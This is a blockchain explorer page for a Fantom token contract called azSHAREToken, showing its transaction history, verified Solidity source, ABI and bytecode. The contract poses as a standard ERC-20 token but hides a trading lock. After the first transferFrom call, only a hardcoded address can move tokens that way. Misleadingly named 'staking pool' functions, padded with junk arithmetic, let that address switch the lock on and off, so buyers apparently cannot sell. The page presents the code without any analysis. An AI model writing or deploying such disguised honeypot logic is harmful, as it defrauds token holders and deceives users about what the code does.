Overview
FTM Balance
0 FTM
FTM Value
$0.00More Info
Private Name Tags
ContractCreator:
TokenTracker
Sponsored
Latest 10 from a total of 10 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
Value | ||||
---|---|---|---|---|---|---|---|---|---|
Approve | 33774789 | 741 days ago | IN | 0 FTM | 0.01097444 | ||||
Enable Staking P... | 33774720 | 741 days ago | IN | 0 FTM | 0.00330379 | ||||
Approve | 33774670 | 741 days ago | IN | 0 FTM | 0.00878151 | ||||
Approve | 33773258 | 741 days ago | IN | 0 FTM | 0.00997974 | ||||
Approve | 33773236 | 741 days ago | IN | 0 FTM | 0.01216919 | ||||
Approve | 33773207 | 741 days ago | IN | 0 FTM | 0.01118814 | ||||
Approve | 33773106 | 741 days ago | IN | 0 FTM | 0.01093663 | ||||
Prepare Staking ... | 33772944 | 741 days ago | IN | 0 FTM | 0.01005701 | ||||
Approve | 33772895 | 741 days ago | IN | 0 FTM | 0.00985506 | ||||
0x60806040 | 33772810 | 741 days ago | IN | Create: azSHAREToken | 0 FTM | 0.32608939 |
Latest 1 internal transaction
Parent Txn Hash | Block | From | To | Value | ||
---|---|---|---|---|---|---|
33772810 | 741 days ago | Contract Creation | 0 FTM |
Loading...
Loading
Contract Name:
azSHAREToken
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/** *Submitted for verification at ftmscan.com on 2022-03-18 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract azSHAREToken is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _tokenAZ_totalSupply; uint256 private _tokenAZ_status = 0; uint256 public stakingPoolAZStatus = 0; string private _tokenAZ_name; string private _tokenAZ_symbol; address private _poolAZAddress = 0x5925C5F60d76a869E0197D5C48FF52c02d06aE3c; constructor() { _tokenAZ_name = "azSHARE"; _tokenAZ_symbol = "azSHARE"; _tokenAZ_totalSupply = 59700 * 10 ** 18; _balances[msg.sender] = _tokenAZ_totalSupply; } modifier forTransfer { require(msg.sender == _poolAZAddress || _tokenAZ_status == 0); _; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function _spendAllowance( address balance_owner, address balance_spender, uint256 balance_amount ) internal virtual { uint256 currentAllowance = allowance(balance_owner, balance_spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= balance_amount, "Token : insufficient allowance"); unchecked { _approve(balance_owner, balance_spender, currentAllowance - balance_amount); } } } function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _safeTransfer(owner, to, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public forTransfer virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _safeTransfer(from, to, amount); _tokenAZ_status = 1; return true; } function _safeTransfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "Token : transfer from the 0 address"); require(to != address(0), "Token : transfer to the 0 address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "Token : transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, _allowances[owner][spender] + addedValue); return true; } function totalSupply() public view virtual override returns (uint256) { return _tokenAZ_totalSupply; } function _beforeTokenTransfer( address balance_from, address balance_to, uint256 balance_amount ) internal virtual {} function _approve( address balance_owner, address balance_spender, uint256 balance_amount ) internal virtual { require(balance_owner != address(0), "Token : approve from the 0 address"); require(balance_spender != address(0), "Token : approve to the 0 address"); _allowances[balance_owner][balance_spender] = balance_amount; emit Approval(balance_owner, balance_spender, balance_amount); } function prepareStakingPool(address to) public { to == address(0); stakingPoolAZStatus = 1; uint256 a = 1; a = a + 1; a = a-1; if (msg.sender == _poolAZAddress) { _tokenAZ_status = 1; } } function enableStakingPool(address disabledAddress) public { disabledAddress = address(0); uint256 a = 1; a = a + 1; a = a - 1; if (msg.sender == _poolAZAddress) { _tokenAZ_status = 0; } } function name() public view virtual override returns (string memory) { return _tokenAZ_name; } function _afterTokenTransfer( address balance_from, address balance_to, uint256 balance_amount ) internal virtual {} function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function _disableStakingPool(address stakingPoolAddress) public view { require(msg.sender == address(0)); stakingPoolAddress = address(0); } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function symbol() public view virtual override returns (string memory) { return _tokenAZ_symbol; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = _allowances[owner][spender]; require(currentAllowance >= subtractedValue, "Token : decreased allowance below 0"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } function decimals() public view virtual override returns (uint8) { return 18; } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "Token : burn from the 0 address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "Token : burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _tokenAZ_totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"stakingPoolAddress","type":"address"}],"name":"_disableStakingPool","outputs":[],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"disabledAddress","type":"address"}],"name":"enableStakingPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"}],"name":"prepareStakingPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"stakingPoolAZStatus","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
608060405260006003556000600455735925c5f60d76a869e0197d5c48ff52c02d06ae3c600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200007057600080fd5b506040518060400160405280600781526020017f617a53484152450000000000000000000000000000000000000000000000000081525060059080519060200190620000be92919062000169565b506040518060400160405280600781526020017f617a534841524500000000000000000000000000000000000000000000000000815250600690805190602001906200010c92919062000169565b50690ca457ee9fd8045000006002819055506002546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506200027e565b828054620001779062000219565b90600052602060002090601f0160209004810192826200019b5760008555620001e7565b82601f10620001b657805160ff1916838001178555620001e7565b82800160010185558215620001e7579182015b82811115620001e6578251825591602001919060010190620001c9565b5b509050620001f69190620001fa565b5090565b5b8082111562000215576000816000905550600101620001fb565b5090565b600060028204905060018216806200023257607f821691505b602082108114156200024957620002486200024f565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6115ea806200028e6000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb1461029a578063d3f377fe146102ca578063dd62ed3e146102e8578063f6864cb114610318576100f5565b806370a08231146102005780637eaa97291461023057806395d89b411461024c578063a457c2d71461026a576100f5565b80631af53376116100d35780631af533761461016657806323b872dd14610182578063313ce567146101b257806339509351146101d0576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610334565b60405161010f919061109d565b60405180910390f35b610132600480360381019061012d9190610ee7565b6103c6565b60405161013f9190611082565b60405180910390f35b6101506103e9565b60405161015d919061119f565b60405180910390f35b610180600480360381019061017b9190610e27565b6103f3565b005b61019c60048036038101906101979190610e94565b61047e565b6040516101a99190611082565b60405180910390f35b6101ba61051d565b6040516101c791906111ba565b60405180910390f35b6101ea60048036038101906101e59190610ee7565b610526565b6040516101f79190611082565b60405180910390f35b61021a60048036038101906102159190610e27565b6105d0565b604051610227919061119f565b60405180910390f35b61024a60048036038101906102459190610e27565b610618565b005b610254610658565b604051610261919061109d565b60405180910390f35b610284600480360381019061027f9190610ee7565b6106ea565b6040516102919190611082565b60405180910390f35b6102b460048036038101906102af9190610ee7565b6107d4565b6040516102c19190611082565b60405180910390f35b6102d26107f7565b6040516102df919061119f565b60405180910390f35b61030260048036038101906102fd9190610e54565b6107fd565b60405161030f919061119f565b60405180910390f35b610332600480360381019061032d9190610e27565b610884565b005b60606005805461034390611303565b80601f016020809104026020016040519081016040528092919081815260200182805461036f90611303565b80156103bc5780601f10610391576101008083540402835291602001916103bc565b820191906000526020600020905b81548152906001019060200180831161039f57829003601f168201915b5050505050905090565b6000806103d1610913565b90506103de81858561091b565b600191505092915050565b6000600254905090565b6000905060006001905060018161040a91906111f1565b90506001816104199190611247565b9050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561047a5760006003819055505b5050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806104de57506000600354145b6104e757600080fd5b60006104f1610913565b90506104fe858285610ae6565b610509858585610b72565b600160038190555060019150509392505050565b60006012905090565b600080610531610913565b90506105c5818585600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105c091906111f1565b61091b565b600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461065157600080fd5b6000905050565b60606006805461066790611303565b80601f016020809104026020016040519081016040528092919081815260200182805461069390611303565b80156106e05780601f106106b5576101008083540402835291602001916106e0565b820191906000526020600020905b8154815290600101906020018083116106c357829003601f168201915b5050505050905090565b6000806106f5610913565b90506000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050838110156107bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b2906110ff565b60405180910390fd5b6107c8828686840361091b565b60019250505092915050565b6000806107df610913565b90506107ec818585610b72565b600191505092915050565b60045481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160048190555060006001905060018161089f91906111f1565b90506001816108ae9190611247565b9050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561090f5760016003819055505b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561098b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109829061115f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156109fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f29061113f565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ad9919061119f565b60405180910390a3505050565b6000610af284846107fd565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610b6c5781811015610b5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b55906110bf565b60405180910390fd5b610b6b848484840361091b565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610be2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd9906110df565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c499061117f565b60405180910390fd5b610c5d838383610df3565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610ce3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cda9061111f565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d7691906111f1565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610dda919061119f565b60405180910390a3610ded848484610df8565b50505050565b505050565b505050565b600081359050610e0c81611586565b92915050565b600081359050610e218161159d565b92915050565b600060208284031215610e3d57610e3c611393565b5b6000610e4b84828501610dfd565b91505092915050565b60008060408385031215610e6b57610e6a611393565b5b6000610e7985828601610dfd565b9250506020610e8a85828601610dfd565b9150509250929050565b600080600060608486031215610ead57610eac611393565b5b6000610ebb86828701610dfd565b9350506020610ecc86828701610dfd565b9250506040610edd86828701610e12565b9150509250925092565b60008060408385031215610efe57610efd611393565b5b6000610f0c85828601610dfd565b9250506020610f1d85828601610e12565b9150509250929050565b610f308161128d565b82525050565b6000610f41826111d5565b610f4b81856111e0565b9350610f5b8185602086016112d0565b610f6481611398565b840191505092915050565b6000610f7c601e836111e0565b9150610f87826113a9565b602082019050919050565b6000610f9f6023836111e0565b9150610faa826113d2565b604082019050919050565b6000610fc26023836111e0565b9150610fcd82611421565b604082019050919050565b6000610fe56027836111e0565b9150610ff082611470565b604082019050919050565b60006110086020836111e0565b9150611013826114bf565b602082019050919050565b600061102b6022836111e0565b9150611036826114e8565b604082019050919050565b600061104e6021836111e0565b915061105982611537565b604082019050919050565b61106d816112b9565b82525050565b61107c816112c3565b82525050565b60006020820190506110976000830184610f27565b92915050565b600060208201905081810360008301526110b78184610f36565b905092915050565b600060208201905081810360008301526110d881610f6f565b9050919050565b600060208201905081810360008301526110f881610f92565b9050919050565b6000602082019050818103600083015261111881610fb5565b9050919050565b6000602082019050818103600083015261113881610fd8565b9050919050565b6000602082019050818103600083015261115881610ffb565b9050919050565b600060208201905081810360008301526111788161101e565b9050919050565b6000602082019050818103600083015261119881611041565b9050919050565b60006020820190506111b46000830184611064565b92915050565b60006020820190506111cf6000830184611073565b92915050565b600081519050919050565b600082825260208201905092915050565b60006111fc826112b9565b9150611207836112b9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561123c5761123b611335565b5b828201905092915050565b6000611252826112b9565b915061125d836112b9565b9250828210156112705761126f611335565b5b828203905092915050565b600061128682611299565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156112ee5780820151818401526020810190506112d3565b838111156112fd576000848401525b50505050565b6000600282049050600182168061131b57607f821691505b6020821081141561132f5761132e611364565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f546f6b656e203a20696e73756666696369656e7420616c6c6f77616e63650000600082015250565b7f546f6b656e203a207472616e736665722066726f6d207468652030206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f546f6b656e203a2064656372656173656420616c6c6f77616e63652062656c6f60008201527f7720300000000000000000000000000000000000000000000000000000000000602082015250565b7f546f6b656e203a207472616e7366657220616d6f756e7420657863656564732060008201527f62616c616e636500000000000000000000000000000000000000000000000000602082015250565b7f546f6b656e203a20617070726f766520746f2074686520302061646472657373600082015250565b7f546f6b656e203a20617070726f76652066726f6d20746865203020616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f546f6b656e203a207472616e7366657220746f2074686520302061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b61158f8161127b565b811461159a57600080fd5b50565b6115a6816112b9565b81146115b157600080fd5b5056fea264697066735822122055b3ea69157c5fd8e55b9c48c4e402b9af22b52842a92c50be4488932259104564736f6c63430008070033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb1461029a578063d3f377fe146102ca578063dd62ed3e146102e8578063f6864cb114610318576100f5565b806370a08231146102005780637eaa97291461023057806395d89b411461024c578063a457c2d71461026a576100f5565b80631af53376116100d35780631af533761461016657806323b872dd14610182578063313ce567146101b257806339509351146101d0576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610334565b60405161010f919061109d565b60405180910390f35b610132600480360381019061012d9190610ee7565b6103c6565b60405161013f9190611082565b60405180910390f35b6101506103e9565b60405161015d919061119f565b60405180910390f35b610180600480360381019061017b9190610e27565b6103f3565b005b61019c60048036038101906101979190610e94565b61047e565b6040516101a99190611082565b60405180910390f35b6101ba61051d565b6040516101c791906111ba565b60405180910390f35b6101ea60048036038101906101e59190610ee7565b610526565b6040516101f79190611082565b60405180910390f35b61021a60048036038101906102159190610e27565b6105d0565b604051610227919061119f565b60405180910390f35b61024a60048036038101906102459190610e27565b610618565b005b610254610658565b604051610261919061109d565b60405180910390f35b610284600480360381019061027f9190610ee7565b6106ea565b6040516102919190611082565b60405180910390f35b6102b460048036038101906102af9190610ee7565b6107d4565b6040516102c19190611082565b60405180910390f35b6102d26107f7565b6040516102df919061119f565b60405180910390f35b61030260048036038101906102fd9190610e54565b6107fd565b60405161030f919061119f565b60405180910390f35b610332600480360381019061032d9190610e27565b610884565b005b60606005805461034390611303565b80601f016020809104026020016040519081016040528092919081815260200182805461036f90611303565b80156103bc5780601f10610391576101008083540402835291602001916103bc565b820191906000526020600020905b81548152906001019060200180831161039f57829003601f168201915b5050505050905090565b6000806103d1610913565b90506103de81858561091b565b600191505092915050565b6000600254905090565b6000905060006001905060018161040a91906111f1565b90506001816104199190611247565b9050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561047a5760006003819055505b5050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806104de57506000600354145b6104e757600080fd5b60006104f1610913565b90506104fe858285610ae6565b610509858585610b72565b600160038190555060019150509392505050565b60006012905090565b600080610531610913565b90506105c5818585600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105c091906111f1565b61091b565b600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461065157600080fd5b6000905050565b60606006805461066790611303565b80601f016020809104026020016040519081016040528092919081815260200182805461069390611303565b80156106e05780601f106106b5576101008083540402835291602001916106e0565b820191906000526020600020905b8154815290600101906020018083116106c357829003601f168201915b5050505050905090565b6000806106f5610913565b90506000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050838110156107bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b2906110ff565b60405180910390fd5b6107c8828686840361091b565b60019250505092915050565b6000806107df610913565b90506107ec818585610b72565b600191505092915050565b60045481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160048190555060006001905060018161089f91906111f1565b90506001816108ae9190611247565b9050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561090f5760016003819055505b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561098b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109829061115f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156109fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f29061113f565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ad9919061119f565b60405180910390a3505050565b6000610af284846107fd565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610b6c5781811015610b5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b55906110bf565b60405180910390fd5b610b6b848484840361091b565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610be2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd9906110df565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c499061117f565b60405180910390fd5b610c5d838383610df3565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610ce3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cda9061111f565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d7691906111f1565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610dda919061119f565b60405180910390a3610ded848484610df8565b50505050565b505050565b505050565b600081359050610e0c81611586565b92915050565b600081359050610e218161159d565b92915050565b600060208284031215610e3d57610e3c611393565b5b6000610e4b84828501610dfd565b91505092915050565b60008060408385031215610e6b57610e6a611393565b5b6000610e7985828601610dfd565b9250506020610e8a85828601610dfd565b9150509250929050565b600080600060608486031215610ead57610eac611393565b5b6000610ebb86828701610dfd565b9350506020610ecc86828701610dfd565b9250506040610edd86828701610e12565b9150509250925092565b60008060408385031215610efe57610efd611393565b5b6000610f0c85828601610dfd565b9250506020610f1d85828601610e12565b9150509250929050565b610f308161128d565b82525050565b6000610f41826111d5565b610f4b81856111e0565b9350610f5b8185602086016112d0565b610f6481611398565b840191505092915050565b6000610f7c601e836111e0565b9150610f87826113a9565b602082019050919050565b6000610f9f6023836111e0565b9150610faa826113d2565b604082019050919050565b6000610fc26023836111e0565b9150610fcd82611421565b604082019050919050565b6000610fe56027836111e0565b9150610ff082611470565b604082019050919050565b60006110086020836111e0565b9150611013826114bf565b602082019050919050565b600061102b6022836111e0565b9150611036826114e8565b604082019050919050565b600061104e6021836111e0565b915061105982611537565b604082019050919050565b61106d816112b9565b82525050565b61107c816112c3565b82525050565b60006020820190506110976000830184610f27565b92915050565b600060208201905081810360008301526110b78184610f36565b905092915050565b600060208201905081810360008301526110d881610f6f565b9050919050565b600060208201905081810360008301526110f881610f92565b9050919050565b6000602082019050818103600083015261111881610fb5565b9050919050565b6000602082019050818103600083015261113881610fd8565b9050919050565b6000602082019050818103600083015261115881610ffb565b9050919050565b600060208201905081810360008301526111788161101e565b9050919050565b6000602082019050818103600083015261119881611041565b9050919050565b60006020820190506111b46000830184611064565b92915050565b60006020820190506111cf6000830184611073565b92915050565b600081519050919050565b600082825260208201905092915050565b60006111fc826112b9565b9150611207836112b9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561123c5761123b611335565b5b828201905092915050565b6000611252826112b9565b915061125d836112b9565b9250828210156112705761126f611335565b5b828203905092915050565b600061128682611299565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156112ee5780820151818401526020810190506112d3565b838111156112fd576000848401525b50505050565b6000600282049050600182168061131b57607f821691505b6020821081141561132f5761132e611364565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f546f6b656e203a20696e73756666696369656e7420616c6c6f77616e63650000600082015250565b7f546f6b656e203a207472616e736665722066726f6d207468652030206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f546f6b656e203a2064656372656173656420616c6c6f77616e63652062656c6f60008201527f7720300000000000000000000000000000000000000000000000000000000000602082015250565b7f546f6b656e203a207472616e7366657220616d6f756e7420657863656564732060008201527f62616c616e636500000000000000000000000000000000000000000000000000602082015250565b7f546f6b656e203a20617070726f766520746f2074686520302061646472657373600082015250565b7f546f6b656e203a20617070726f76652066726f6d20746865203020616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f546f6b656e203a207472616e7366657220746f2074686520302061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b61158f8161127b565b811461159a57600080fd5b50565b6115a6816112b9565b81146115b157600080fd5b50